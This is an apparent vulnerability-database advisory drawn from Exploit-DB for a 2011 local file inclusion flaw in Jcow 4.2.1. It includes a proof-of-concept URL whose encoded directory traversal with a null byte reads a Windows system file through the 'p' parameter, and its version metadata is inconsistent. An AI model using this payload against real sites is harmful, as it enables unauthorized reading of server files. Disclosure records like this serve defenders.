Jcow 4.2.1 Local File Inclusion

vendor:

Jcow

by:

AutoSec Tools

CVSS

CRITICAL

Local File Inclusion

CWE

Product Name: Jcow

Affected Version From: 4.2.2001

Affected Version To: 4.2.2001

Patch Exists: NO

Related CWE: N/A

CPE: a:jcow:jcow:4.2.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Vista + XAMPP

2011

Jcow 4.2.1 Local File Inclusion

A local file inclusion vulnerability in Jcow 4.2.1 can be exploited to include arbitrary files.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in file operations.

Source

Exploit-DB raw data:

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Software................Jcow 4.2.1
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.jcow.net/
Discovery Date..........5/12/2011
Tested On...............Windows Vista + XAMPP
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Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
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--Description--

A local file inclusion vulnerability in Jcow 4.2.1 can be exploited to
include arbitrary files.


--PoC--

http://localhost/jcow/index.php?p=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini%00